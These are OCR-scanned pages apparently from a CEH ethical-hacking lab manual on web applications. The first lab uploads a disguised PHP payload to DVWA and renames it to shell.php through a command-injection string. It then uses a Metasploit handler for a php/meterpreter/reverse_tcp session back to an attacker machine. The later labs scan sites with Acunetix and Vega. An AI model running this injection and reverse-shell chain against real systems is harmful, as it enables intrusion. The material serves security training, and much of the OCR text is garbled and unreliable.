PHELDS v0.6 (PHPIntrusion Detection System) is a secunty layer 1or PHP based wob appiications.,
PHPIDS works by filtening any used suppliod Input against a blacklist of potentially malicious code. 1t is L

DVWA 10 serve as a live exampie of how Web Appscation Firewalls (WAFS) can help improve security
S0Me cases how WAFS can be chcumvented.

FIGURE 549: Sct DVWA security level
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57. Select File Upload option in the left-pane and then click Browse button, as
shown in the screenshot:

Valnerabllity: File Upload - Damn Vulnerable Web Application (DVWA) v1.10 *Development® - Mazilla Firefox
| B Vulnerabilny: File Upl.. x | +
€ ) © | 10.10.10.12 80B0/dvwalvulnerablities/uplosd ¢ |1Q Searct 0 $ A O =
Most Visitedv [l Offensive Security S\ Kall Linux \ Kall Docs \ Kali Tools = Exploit-DB W Aircrack-ng g Kall Forums

Vulnerability: File Upload

_"_‘"""'—} Choose an image 10 upload
Setup |

————— l l Browse lNo tile sedocted
Brute Force

Command Injection ]

e More Information

File Inclusion

l_l-nw

SQL Injection |

FIGURE 5.50: Uplad the paykad file

58. When File Upload window appears, select high.jpeg file and click Open as
shown in the screenshot:

Cancel | File Upload Q

® Recent ‘4 £ root i Desktop »

@ Home Name v  Size Modified

high.jpe
i Deskiop —

B medium.php.jpg

[} Documents upload.php 11kB Tue

@ Downloads

J3 Music

‘0] Pictures

All Files = .1
FIGURE 5.51: Sekect the payload fike
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59. You can see the file is ready to upload. Click Upload button.

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development® - Mozilla Firefox @ © ©
B Vulnerabllity: File Upl.. » | +
4 O 10101012 vwa L y a0 & @

#:Mml Visitedv [fJOffensive Security \ Kall Linux S\ Kall Docs S\ Kall Tools & Explot-DB Wy Alrcrack-ng g Kall Forums "

1]

Vulnerability: File Upload

Home
Instructions Choose an image 10 upload
Setup | Reset DB

- o
Brute Force |

'

Command Injection
CSRF

More Information

FIGURE 5.52: Upload the payload file

60. You will see a message that the file has been uploaded and it will also mention
the location of the file. Note down this location.

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development® - Mozilla Firefox @ © @ |
B Vulnerability: File Upl_ x | +
€ © 10.10.10.12 8080/dvwa rabilit A/ c Q, Search T8 & & =

FMos( Visitedv [fOffensive Security "\ Kali Linux *\ Kali Docs "\ Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums »

— Vulnerability: File Upload
I Choose an image 10 upioad
Browse. No tile selected
Upload
[ /hackable/uploads/high. jpeg succesfully .;*-A,.mnqv]

More Information

FIGURE 5.53: Paylboad file uploaded
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61. Click Command Injection option in the left pane and in the Enter an IP

address field, type |copy
C:\wamp64\www\DVWA\hackable\uploads\high.jpeg
C:\wamp64\www\DVWA\hackable\uploads\shell.php and click the Submit

button, as shown in the screenshot:

y: Ci d Inj :: Damn Web App {DVWA) V110 *Development® - Mozila Firefox @ @ @)
B Vulnerability: Comma.. x | +
€ © 10101012 ties/exe y e & n =
*;‘Mos( Vistedv  [lJOffensive Security N\ Kali Linux \ Kali Docs '\ Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums »

Vulnerability: Command Injection

Home |
jaes ! Ping a device
Setup / Reset DB

Enter an 1P aodress: | SAWWWMDVWA\hackabie\uploads\shell php
— ‘ L =0
CSRF | More Information

FIGURE 554 Copy the payload fike

62. You get a message that the file has been copied, as shown in the screenshot:

s y: C Y 2: Damn Vi Web App (DVWA) v1.10 *Development® - Mozilla Firefox @ © ©
B Vulnerabilty: Comma.. x | +

€ © 10101012 ties/exec/t ] ea e & A0 =

?jMou Visitedv [fJOffensive Security \ Kall Linux '\ Kall Docs \ Kall Tools = Exploit-DB W Aircrack-ng gUKall Forums »

Vulnerability: Command Injection

Home

Instiens Ping a device

Setup | Reset DB

Enter an IP acdress Sutemit

Brute Force

= v Cret oier)

CSRF |

File Inctusion More Information

File Upload -

Insecire CAPTCHA 2

SQL Injection o
lb_zj
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63. Launch a Terminal window and type msfconsole. Hit Enter to run the
Metasploit Framework.

root@kali: ~ e 0 o]

File Edit View Search Terminal Help

to the database: could not cc ] to server: Connection refused
s server running on host "localhos and accepting
TCP/IP connections on port 54327
ould not ¢ E ] I, refused
Is se n on host "localhost™ (127.8.8.1) and ac
TCP/IP con N port 54327

[I*1 starting the M k consolE...

FIGURE 5.56: Launch Metasploit flramework

64. Now you have to set up a listener so that you can establish a meterpreter
session with your victim. Follow the following steps to set up a listener
using the msf command line.

A. Type use multi/handler and hit Enter.
B. Type set payload php/meterpreterireverse_tcp and hit Enter.
C. Type set Ihost 10.10.10.11 and hit Enter.
D. Type set Iport 2222and hit Enter.
E. Now to statt the listener type run and hit Enter.
root@kal; ~ 0o

File Edit View Search Terminal Help

f ]
- 1000 auxiliary - 299 post ]

- 16 nops ]

Free Metasploit Pro tria http://r-7.co/trymsp ]

e multi/handler
t ) d php/meterpreter/reverse tcp
php/meterp verse tcp
t ) > set lhost 10.10.10.11
10.10.106.11

lport 2222

FIGURE 5.57: Setup and start a listener

65. Now that the listener is up and running, open up the Firefox browser
and in a new tab type the location of the uploaded file (here
http2/10.10.10.12:8080/dvwa/hackable/uploads/shell.php) in the
address bar and press Enter to execute the uploaded payload.

New Tab - Mozilla Firefox o0
B Vulnerabiity: Comma.. % | New Tab x | +
(@l 10.10.10.12:8080/dvwamackable upioads/sheil phol IR e & & 0O =
¥ Most Visitedv  [fjOffensive Security N Kali Linux N\ Kali Docs "\ Kali Tools = Explot-DB W Alrcrack-ng g Kall Forums »
-)

FIGURE 5.58: Browse the uploaded paylad file
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66. When you switch back to the terminal window, you will see that a
meterpreter session has been established with the victim system, as
shown in the screenshot:

Toot@kali: ~ -3 01

File Edit View Search Terminal Help

nsf exploit(

on 10.18.10.11
) to 18.10.10
(10.18.10.11: > 10.10.10.12:10587) at 2017-12-26 02:

¢
4:31 -0500

FIGURE 559: Meterpreter session established

67. In the meterpreter command line, type sysinfo and hit Enter to view the
system details of the victim. Close all windows to exit.

root@kali: ~ e ® 0
File Edit View Search Terminal Help
Meterpreter session 1 opened (10.10.10.11: > 10.10.10.12:108587) at 2017-12-26 82:
4:31 -0500

7038BPAL
NT WIN-DJAQ7QJ8PAI 6.3 build 9600 (Windows Server 20 R2 Standard E

~ : php/windows

FIGURE 5.60: View system info

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
of yout target’s secutity postutre and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

. OYes ™ No
| Platform Supported
‘ Classroom M iLabs
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Module 14 - Hacking Web Applications

Website Vulnerability Scanning
Using Acunetix WVS

Acunetix Web Vulnerability Scanner (WV'S) broadens the scope of vulnerability
scanning by introducing bighly advanced and rigorous heuristic technologies designed to
tackle the complexcities of today's web-based environments.

Lab Scenario

As an expert Penetration Tester, you need to determine whether your website is
secure before hackers download sensitive data, commit a crime using your website as
a launch pad, and endanger your business. You can use Acunetix Web Vulnerability
Scanner (WVS) to check the website, analyzes its applications, and find vulnerabilities
that could leave it exposed to SQL injection, cross-site scripting, and other
vulnerabilities that could expose the online business to attacks. Condise reports
identify where web applications need to be fixed, thus enabling you to protect your
business from impending hacker attacks!

Lab Objectives

The objective of this lab is to help you secure web applications and test websites for

7 Tools vulnerabilities and threats.
demonstrated in o
this lab are Lab Environment
available in g F
ZACEH- To perform this lab, you will need:
Tools\CEHv10 = Acunetix Web vulnerability scanner is located at ZACEH-Tools\CEHv10
Module 14 Module 14 Hacking Web Applications\Web Application Security
Hacking Web Tools\Acunetix Web Vulnerability Scanner
Applications : i P
®  You can also download the latest version of Acunetix Web vulnerability
scanner from the link http://www.acunetix.com/vulnerability-scanner
=  Ifyoudecide to download the latest version, then screenshots shown in the
lab might differ
= A computer running Windows Server 2016
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& NOTE: DO NOT
SCAN A WEBSITE
WITHOUT PROPER
AUTHORIZATION!

M rask 1

Install Acunetix
Web Vulnerability
Scanner

LL] The Executive report
creates a summaty of the
total number of
vulnerabilities found in
every vulnerability class.
This makes it ideal for
management to get an
overview of the security of
the site without needing to
review technical details.

H rask 2

Module 14 - Hacking Web Applications

= A web browser with an Internet connection

= Microsoft SQL Server/ Microsoft Access

Lab Duration

Time: 15 Minutes

Overview of Web Application Security

Web application secutity is a branch of information secutity that deals specifically with
security of websites, web applications, and web services.

Ata highlevel, Web application security draws on the principles of application security
but applies them specifically to Internet and Web systems. Typically, web applications
are developed using programming languages such as PHP, Java EE, Java, Python,
Ruby, ASPNET, C#, VBNET, or Classic ASP.

Lab Tasks

In this lab, the machine hosting the website is the victim machine ie.,
Windows Server 2016, keep the machine running till the end of the lab; the
machine used to run Acunetix Web Vulnerability Scanner is Windows
Server 2012,

Log in to Windows Server 2012.

2. Navigate to ZACEH-Tools\CEHv10 Module 14 Hacking Web
Applications\Web Application Security Tools\Acunetix Web
Vulnerability Scanner and double-click acunetix _trial.exe.

If Open-File Security Warning pop-up appears, click Run.
4. Follow the steps to install Acunetix Web Vulnerability Scanner.

Note: You will be asked to provide an email and a password during
installation, which will be used later in the lab.

5. If the Acunetix web page opens in the default browser, Close the web
page.

6. If a Security Warning dialog box appeats, asking you to install a
certificate from a certification authority (CA), click Yes.

Note: In addition, if a Security Alert pop-up appears, click OK.
7. In the final installation step, click Finish.
8. If a Trial Edition pop-up appears; click OK.

Scan Website for 9. Once the installation is completed, Acunetix Web Application Security
Vulnerability scanner will open in a default web browser, as shown in the screenshot.
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10. Your connection is not secure page appears, click Advanced to add the
security exceptions.

Note: The screenshots will differ if you use a different web browser.

e I —

«>ce

£ you scan an HTTP
password-protected
website, you are
automatically prompted to
specify the username and
password. Acunetix WVS
supports multiple sets of
HTTP credential for the
same target website, HI'TP < z
suthentication esedentials #4 Your connection is not secure
can be configured to be
used fora specific The owner of localhost has thes website To protect your from being stolen,
website/ host, URL, or Firefox has not connected 10 this website.

even a spedific file only.

Leam more.

Report errors like this 10 help Mozilla identify and block malicious sites

[ | R

FIGURE 6.1: Opening Acunetix web vulnerability scanner

11. Click Add Exception button.

« » @ @ hipe/Nocalnost ) 1441w o @O | Q seonn no s

z Your connection is not secure

m ‘The scan target

option scans a list of target
websites specified in a plain
text file {one target per Loarn mote
ing), Report errors ke this 10 help Mozilla identify and block malicious sites

The owner of localhost has their website To protect yout from being stolen,
Firefox has not connected 10 this website

I o

localhost: 13443 uses an invalid security centificate.

The centificate s not trusted because the issuer certificate is unknown.
The server might not be sending the appropriate intermediate certificates.
An additional root certificate may need 10 be imported.

Erroe code: SEC_ERROR_UNKNOWN ISSUER
|
EL) 10 Scan Option, FIGURE 62 Adding secusity exception
Extensive mode, the
crawler fetches all possible
values and combinations of
all parameters.
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Module 14 - Hacking Web Applications

12. Add Security Exception window appears, click Confirm Security
Exception, as shown in the screenshot:

& You are about to override how Firefox identifies this site.
A Legitimate banks, stores, and other public sites will not ask you to do this.

Server

PRt ocalhost 1343/ | [t Certficate
Certificate Status

This site attempts to identify itself with invalid information.
Unknown Identity

The certificate is not trusted because it hasn't been verified as issued by a trusted authority using
a secure signature.

[w] Permanently store this exception

| Confirm Security Exception | | Cancel

FIGURE 6.3: Adding security exception

13. When Acunetix login page appears, type in the credentials that you have
provided at the time of installation, and click Login.

WIS APPLICATION SECURITY

SignIn

Keep me sigred in

FIGURE 6.4 Acunctix login page
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14. The Acunetix Web Vulnerability Scanner main window appears, if
Update info pops-up. Click Clese. Click Add Target, as shown in the
screenshot:

g E— <
or - u mo =

acunetix

[aenwe)] v

No Targets created yet

FIGURE 6.5: Adding a new target

15. Add Target pop-up appears, type the Target website URL in the Address
field, and provide a desctiption in the Description field, and click Add
Target.

16. In thislab you are scanning http://www.moviescope.com, a local website
as shown in the screenshot. If you are ttying to scan a different web site
then screenshots will differ.

N Acunets - Torgets x F‘

« cCQ o >

FIGURE 6.6: Add Target pop-up
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Module 14 - Hacking Web Applications

17. Once you add the Target site, Target Info page appears with the General
information tab. Choose High in the Business Criticality drop-down list
and leave the other settings to default, click Save.

Y S ———y g
- Q0 no =

« [ "] ¢ ocathost |

acunetix o

Target info

http://www.moviescope.com 3

FIGURE 6.7: Configuring target options

18. Once the target is added successfully, click Scan to start the Scanning
process.

vy
« C Q@ ¢ tocahost - O 0 neo =

acunetix

http://www.moviescope.com o

FIGURE 6.8: Initiating the scan
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19. When Choose Scanning Options pop-up appears, choose Full Scan
from Scan Type, OWASP Top 10 2017 from Report, and Instant from
Schedule drop-down list, click Create Scan.

Choose Scanning Options

Scan Type
| Full Scan v I

Report

| OWASP Top 102017

Schedule

| Instant

FIGURE 6.9: Configuting scanning options

20. Acunetix will start the scanning process on the targeted web site
provided. You can see the status in the Scan Stats & Info tab of Scans
section.

FIGURE 6.10: Scan in progress
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Module 14 - Hacking Web Applications

21. Acunetix completes the scan and displays with the Threat Level as shown
in the screenshot. Now click Vulnerabilities to view the vulnerabilities
found in the targeted website.

tocalhost - 90 no =

HIGH

FIGURE 6.11: Finished scanning and viewing vulnembilitics

22. In the Vulnerabilities section you can see the available vulnerabilities on
the site. Click any of the vulnerabilities to view the entire information and
the way to fix that vulnerability.

I Ao oo <10 15!-

« C e O focalhost - 00 mno =

acunetix

Vulnerabaity

FIGURE 6.12: List of vulnerabilities found
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23. Acunetix will provide you with the complete description of the
vulnerability and attack details, the impact of the vulnerability, and the
solution.

24. Click Back button to go back to the previous page to view other
information recorded by the scanner.

YIS ,__,z_q
€ > Cce C ccarest -0 o

acunetix 0 p

Blind SQL Injection

[ o=}

Attack detall

FIGURE 6.13: Viewing vulnerability details

25. Click Site Structure to view the design of the website, as shown in the
screenshot:

Velrwesbility

FIGURE 6.14: Viewing the site structure
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26. To view the scan report, click Reports tab on the left hand side, as shown
in the screenshot:

IR Ao e . m

“ [ D& Jocamont - Q0 no =|

acunetix

Report Type

FIGURE 6.15: Viewing the scan report

27. 'To download or view the report first check the report and scroll to the
right hand side of the window.

N Ao Bapom oy m

« e ¢ oCanost . - Q0 no =

acunetix

Report Template Report Type

FIGURE 6.16: Sekecting the generated report

28. Click bownload drop-down to choose the report format to download. In
this lab you will choose PDF Format to view the report.

I cuntn - Pepors *IE
« (<" Dk ocanost - 0O no =

acunetix

Created On Status

VB W ROVIESCOpE.Con| Do 27,2017 120801 AM photed

FIGURE 6.17: Downloading generated report
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Module 14 - Hacking Web Applications

29. Download options pop-up appears, choose the appropriate option for
download. In this lab you will choose Save File radio button and click
OK.

30. This will download the report in the default download location of the
browser.

You have chosen to open:

™ 8aacab94-12fe-46e0-9518-632a658e3d0b.pdf

which is: Adobe Acrobat Document
from: https://localhost:13443

What should Firefox do with this file?

O Open with l Adobe Acrobat Reader DC (default) V‘

@|Save File |

__| Do this automatically for files like this from now on.

[ ox || Cancell

FIGURE 6.18 Downkading the generated report

31. Once the download is completed, click on Download icon from the
browser menu bar to view the status and click on Felder icon to navigate
to the download location, as shown in the screenshot:

w @0 Qs

W Sascatid: ) e-Se0-5515.632065803000 pot
> .

acunetix ot — 148 1

Show All Downlosds
New Repon o Delete Seiocted ¥ Filter

FIGURE 6.19: Downloading the generated report
32. Double-click the downloaded file to view.

Home Share View

I @ » ThisPC » Local Disk (C:) » Users » Administrator » Downloads

-

f Favorites Neme Date modified Type Size
I Desktop [ Baacab9a-12fe-2660-9518-632263863d0b.... | 12/27/2017 1250, Adobe Acrobat D.. 1498
# Downloads
A R
FIGURE 6.2 Scan report downloaded
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33. The report will open in Adobe Acrobat Reader, and scroll down to view
the complete report.

'OWASP TOP 10 2017

FIGURE 6.21:Viewing the report

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
Classtroom M iLabs
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Module 14 - Hacking Web Applications

Auditing Web Application
Framework Using Vega

Viega is a web application scanner used to test the security of web applications. It helps
you find and validate SQL. Injection, Cross-Site Seripting (XSS), inadvertently
disclosed sensitive information, and other vulnerabilities.

Lab Scenario

With the emergence of Web 2.0, increased information sharing through social
networking, and increasing adoption of the Web as a means of doing business and
delivering services, websites have often been attacked directly. Hackers seek to
compromise either the corporate network or its users, who are accessing its website
by “dtive-by downloading.”

As many as 70% of the web sites have vulnerabilities that could lead to the theft of
sensitive corporate data such as credit-card information and customer lists. Hackers
are concentrating their efforts on web-based applications—shopping carts, forms,
login pages, dynamic content, and so on. Accessible 24/ 7 from anywhere in the world,
insecure web applications provide easy access to backend corporate databases and
allow hackers to perform illegal activities using the compromised site.

Web application attacks, launched on pott 80/443, go straight through the firewall,
past operating-system and network-level security, and into the heart of the application,
where corporate data resides. Tailor-made web applications ate often insufficiently
tested, have undiscovered vulnerabilities and are, therefore, easy prey for hackers.

As an expert Penetration Tester, you will need to determine whether your website is
secure before hackers download sensitive data, commit a ctime using your website as
a launch pad, and endanger your business. You can use Vega to check the website,
analyze its applications, and find petilous SQL injection, cross-site sctipting, and other
attacks that could compromise the online business. Concise repotts identify where
web applications need to be fixed, thus enabling you to protect your business from
impending hacker attacks!
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Module 14 - Hacking Web Applications

Lab Objectives

The objective of this lab is to help you secure web applications and test websites for
vulnerabilities and threats.

Lab Environment

To petform this lab, you will need:
= A computer running Windows Server 2016
= A computer running Windows Server 2012
= A computer running Kali Linux
= A web browser with an Internet connection

=  WAMPServer running in Windows Server 2012

Lab Duration

Time: 10 Minutes

Overview of Web Application Security

Web application security is a branch of Information Security that deals specifically
with security of websites, web applications, and web services.

Ata highlevel, Web application security draws on the principles of application secutity
but applies them specifically to Internet and Web systems. Typically, web applications
are developed using programming languages such as PHP, Java EE, Java, Python,
Ruby, ASPNET, C#, VBNET, or Classic ASP.

Lab Tasks

Before starting this lab, make sure that Windows Server 2012 virtual machine is
turned on and WAMPServer is running,

1. Launch Windows Server 2012 from VMware Workstation and log into

the machine.
sm . . . .
WAMPServer 2. Once you have logged into the machine, navigate to Start and click
Wampserver64.
3. 'This will start the WAMPServer service on the Windows Server 2012
machine.
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4. ILeave the Windows Server 2012 running,.

Administrator &

Server Mansger
This pC Tk Misigur

= £

Contred Panel et Tl

’ Notepad

FIGURE 7.1: Start WAMPServer

5. Now, launch the Kali Linux virtual machine from VMware Workstation

H task 2 and log into the machine.
Launch Vega 6. Finding SQL injections and cross-site scripting is one of the most

common tasks performed by an ethical hacker.
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7. To perform this task, you need to launch vega vulnerability scanner. To
do this, go to Applications > Web Application Analysis and select
vega.

Applications ~ Places »

Favorites burpsuite
n Gathering

commix
nerability Analysis

Veb Application Analysis =71 httrack

Database Assessment
owasp-z

d Attacks
paros
skipfish
Exploitation Tools
sqlmap
Sniffing 8
Post Exploitation

Forensics

Social Engineering Tools

- System Services

Usual applications

Activities Overview

FIGURE 7.2: Launch vega
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with the application, but
usually a quick inspection
of the HTTP traffic will
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H task 3

Module 14 - Hacking Web Applications

8. The Subgraph Vega window appears, as shown in the screenshot:

S rrll
©scanmel] &P

@ Sean Into = =o

@ VEGA '

o

File Scon Window Help
Q0 &

T —

® 5 mH

Scan Alert Summary

2 Identiies 52 |

FIGURE 7.3: Vega Main Window

9. Click Scan from the menu bar and select Start New Scan.

Set Scan
Configuration

Subgraph Vega

@ Scan Inlol

@& VEGA

[osantens @ & 5 ¢ m3
F i Scan Alert Summary
°
o v
|| ax Identities 22 2 =0
los st o [ porzen 3|

FIGURE 7.4: Starting a New Scan

10. Select a Scan Target Wizard appeats on the screen. Select Enter a base
URI for scan radio button under Scan Target section, enter the target
URL in the text field and click Next.

CEH Lab Manual Page 1217

Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.
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11. The target in this lab is http://10.10.10.12:8080/dvwa.

Note: 10.10.10.12 is the IP address of the Windows Server 2012, where
DVWA site is hosted on port 8080.

Select a Scan Target

Choose a target for new scan @ VEGA

Scan Target
@ Enter a base URI for scan: |

{nttp://10.10.10.12:8080/dvwa ]

() Choose a target scope for scan

Default SL;pé s || Edit SLL‘[:S

v

Web Model

Include previously discovered paths from Web model

< Back [ Next > ][ Cancel H Finish J

FIGURE 7.5: Setting a Scan Target

12. Select Modules section appears, check both Injection Modules and
Response Processing Modules opt.ions.
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13. By checking these options, all the modules under these options will be
selected.

14. Click Next.

Select Modules

Choose which scanner modules to enable for this scan VEGA

Select modules to run:

E B Response Processing Modules |

| <Back [ Next > J [ Cancel ] ‘ Finish J
|-
FIGURE 7.6: Selecting Modules
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15. In Authentications Options, scction leave the settings to default and
click Next.

entication Options

Configure cookies and authentication identity to use during Q VEGA

FIGURE 7.7: Authentication Options
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16. In Parameters section, leave the settings to default and click Finish to
initiate the scan.

arameters

Add names of parameters to avoid fuzzing during scan Q VEGA

csrfmiddlewaretoken
__viewstateencrypted
__eventvalidation
—-eventtarget

FIGURE 7.8: Parameters section
17. Follow Redirect? pop-up appeats click Yes.

FIGURE 7.9: Follow Redirect? pop-up
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18. Vega scanner begins to perform vulnerability assessment on the target
website and lists down the Scan Alert Summary. Wait until the scanning
is completed.

Note: Under Scan Alerts section, you can see the scan status as Auditing. As
soon as Vega completes, the scan status changes to Completed.

Shorarh Vegs

@ 10201012
@
e
@
@

10.10. php
1 out of 33 scanned (3.0%)

E
§
g
vn"
L3
0
O

L

FIGURE 7.10: Scan Initiated

B sasei 98 19. Now, under Scan Alerts expand the node to view complete vulnerability
scan result.
Examine the Scan

Subgraph Vega

Results Scan Window Help
Q@04
'D:QSuan: Tet
@ 10101012
jo VEGA
-
e
) i
T Scanner Progress
ﬁ&muemAO 0 & E"0
e —
10.10.
830 out of 1346 scanned (61.7%)
.
&8 \dentities 31 > 'B}
I
fﬂ‘ 2 204 o .
FIGURE 7.11: Scan Alerts
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20. Now, choose any one recorded vulnerability to display it on the respective
page, as in the dashboard section shown in the screenshot:

Sibgraph Vegn
er. 8 Proxy
=0 @ Scan Info| —

Scan Alert Summary
© High (1453 found)
Session Cookle Without Secure Flag 1

Session Cookie Without HttpOnly Flag 1
Cleartext Password over HTTP 142
Integer Overflow 2
Page Fingerpeint Differential Detected -
Possible XPath injection

SOL Injection 3
Shell Injection ) §
Page Fingerprint Differential Detected - 3
Possible Local File Include

FIGURE 7.12: Choosing a Vulnerability

21. Now, choose any one vulnerability under Scan Alerts sections in the left
pane. It will show you the complete vulnerability information in the right
hand side section, as shown in the screenshot.

22. Here, for example, you will examine Cleartext Password over HTTP
vulnerability.

Subgraph Vega TERe

"
an Alerta] 00 s a"0
v © 12/26/2017 00:06:32 [Compl .i

v @ htp:/10.10.10. 128080 (2900)
+ @ High (1453)

b REQUEST
GET rdvwatogin.php

© /dvwa/login. php

© Idvwallogin php/-214748364C | 1 Jaentmes g3 e |

* /dvwallogn php/dvwa/

» /dvwallogn phpldvwa/css/

* /dvwallogn php/dvwa/cssAoc
.

= PO

FIGURE 7.13: Information about a Vulnerability
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23. You can go through all the recorded vulnerabilities and fix all the
vulnerable codes in your web applications.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemet Connection Required

[ Yes M No
Platform Supported
Classroom iLabs
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